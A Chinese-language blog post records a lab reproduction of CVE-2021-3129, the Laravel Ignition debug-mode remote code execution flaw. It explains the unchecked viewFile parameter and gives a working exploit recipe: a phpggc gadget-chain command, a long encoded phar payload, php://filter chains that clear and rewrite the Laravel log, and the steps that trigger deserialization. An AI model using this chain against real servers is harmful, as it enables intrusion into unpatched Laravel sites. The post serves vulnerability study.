写在前面:
第一次复现CVE,还是遇到了不少问题,在这里记录一下
环境搭建
https://github.com/SNCKER/CVE-2021-3129直接docker起就行了,这个没什么难的
漏洞分析
首先直接定位存在RCE的点,位于ignition(< 2.5.1)的解决方案中,Ignition默认提供了几个solutions.通过这些solutions,开发者可以通过点击按钮的方式,快速修复一些错误。
本次漏洞就是其中的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php过滤不严谨导致的。
首先我们到执行solution的控制器当中去,看看是如何调用到solution的
1 |
|
首先是根据request对象创建了一个solution对象,接着调用solution对象中的run()方法,并将可控的parameters参数传过去。通过这个点我们可以调用到MakeViewVariableOptionalSolution::run()方法
1 |
|
总的来说就是可控参数parameter通过makeOptional()函数之后,可以写入parameter作为参数的一个文件中去,而makeOptional()方法$parameters[‘viewFile’]没有做任何验证,直接把$parameters[‘viewFile’]当作了危险函数file_get_contents的参数,因此可以触发phar://反序列化。如果这里有一个文件上传功能,就可以达到RCE的效果。
exp
原文作者给出了一种利用laravel框架本身的rce方法
主要利用laravel的log文件,通过上传不合法的viewfile,使得viewfile的内容被保存在log中,通过构造特定的viewfile内容,把log文件变成一个标准的phar文件,然后再通过phar协议读取已经变成phar文件的log文件触发反序列化,配合工具phpggc达到rce的目的。(phpggc能够寻找一条任意代码执行的反序列化pop链)
1. 拿链子
1 | php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output | base64 -w0 |
再将该base64编码后的字符进行convert.quoted-printable-encode编码(稍后解释为什么)
1 | Python 3.9.0 (default, Nov 21 2020, 14:01:50) |
2. 清空log文件
作者在文章中提出了使用php://filter中的convert.base64-decode过滤器的特性,将log清空。phpfilter中在使用base64解码的时候,会把非base64字符清除掉,利用这一特性,我们可以把log清空,但是,如果在某次decode时,=号后面出现了别的base64字符,那么php是会报一个Warning的。且由于laravel开启了debug模式,所以会触发Ignition生成错误页面,导致decode后的字符没有成功写入。
因此自然而然想到先将所有内容变成非base64字符,再通过base64过滤器清掉所有内容,原作者的方法是多次使用base64过滤器。但可能会出现一些非预期的问题。具体的原因可以参考这篇文章CVE-2021-3129 Laravel Debug mode RCE 漏洞分析 。这里根据https://xz.aliyun.com/t/9030#toc-6是用另一种方法,即使用convert.iconv.utf-8.utf-16be(UTF-8 -> UTF-16BE),使用convert.quoted-printable-encode(打印所有不可见字符),使用convert.iconv.utf-16be.utf-8(UTF-16BE -> UTF-8)
将上述链条和起来就是
1 | php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log。 |
当然也可以使用原作者提过的过滤器(官方未收录)
1 | php://filter/read=consumed/resource=../storage/logs/laravel.log |
这样清空日志的内容这一步就完成了。
写入
首先要说明我们要写入什么东西,我们的目标是写入一个phar文件,再通过可控参数viewfile和危险函数file_get_contents来触发phar://的反序列化,在反序列化的时候,我们希望能够达到RCE的目的,phpggc恰好为我们提供了这样一条pop链。这里把利用链贴在下面
1 | =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=5A=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=43=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=6D=00=4E=00=68=00=62=00=47=00=78=00=66=00=64=00=58=00=4E=00=6C=00=63=00=6C=00=39=00=6D=00=64=00=57=00=35=00=6A=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6C=00=4E=00=70=00=65=00=6D=00=55=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00=6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=4A=00=6A=00=59=00=57=00=78=00=73=00=58=00=33=00=56=00=7A=00=5A=00=58=00=4A=00=66=00=5A=00=6E=00=56=00=75=00=59=00=79=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=48=00=32=00=4D=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=48=00=32=00=4D=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=52=00=42=00=39=00=31=00=34=00=62=00=6B=00=38=00=70=00=6C=00=39=00=69=00=36=00=34=00=34=00=2F=00=4D=00=55=00=37=00=39=00=56=00=79=00=6F=00=35=00=6A=00=37=00=4B=00=41=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00 |
事实上,在拿到链子后,我们还对链子做了一定的编码处理,这要结合日志文件来说。
日志在写入的时候,我们的payload实际上会被完整记录两次,像下面这样
1 | [时间] [某些字符] PAYLOAD [某些字符] PAYLOAD [某些字符] 部分PAYLOAD [某些字符] |
我们最终需要让log文件变成我们的恶意Phar文件。所以我们还得继续对log文件进行操作。
原作者给出了一种使用convert.iconv.utf-16le.utf-8将utf-16转成utf-8的方案
这里引用一张图来说明
现在我们想要payload只出现一次。因为 utf-16 使用两个字节,我们可以在后面加一字节,从而使第二处解码错误,这样做还有一个好处,可以使payload对齐,当两字节两字节转换的时候,总有一个payload可以被正确转换。
还是引用大佬的一张图来说明
问题又出现了,file_get_contents()传入\00的时候php会报一个Warning,同样会触发Debug页面的报错。所以还得想办法将空字节(\00)写入到log中。作者给出了给出了一个convert.quoted-printable-encode过滤器。原理就是将字符转成ascii后前面加个=号,将其打印出来。
而与之对应的convert.quoted-printable-decode过滤器,则是相反。
原理是将等于号后面的ascii字符解码后,打印出来。
因此,我们上面做的工作就是找了一条链子base64编码,然后把链子再quoted-printable编码。
总结就是下面这样
1 | php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log |
踩坑:
- 由于payload在进行base64编码的时候,可能会出现==,而在quoted-printable解码的时候就会报错
- payload只出现一次的问题,还是没有得到彻底解决,因为我们没办法让log中的内容都是偶数个字符
解决上面问题1的办法是把=换成3D
解决上面问题2的办法是把发送两个payload,这样log中内容就会是偶数个,像下面这样
1 | [x1_1]payload1[x1_2]payload1[x1_3] |
第二个payload是我们真正的payload,而第一个是为了对齐所用的无害payload,尽量保证也是偶数个字符,这里按照作者的payload,payload1采用AA,实际上是啥都可以,是偶数个就行。
综上所述,我们的利用如下:
- 清空log内容

- 发送无害payload,用于对齐

- 发送payload

- 过滤无效字符

- 触发phar反序列化
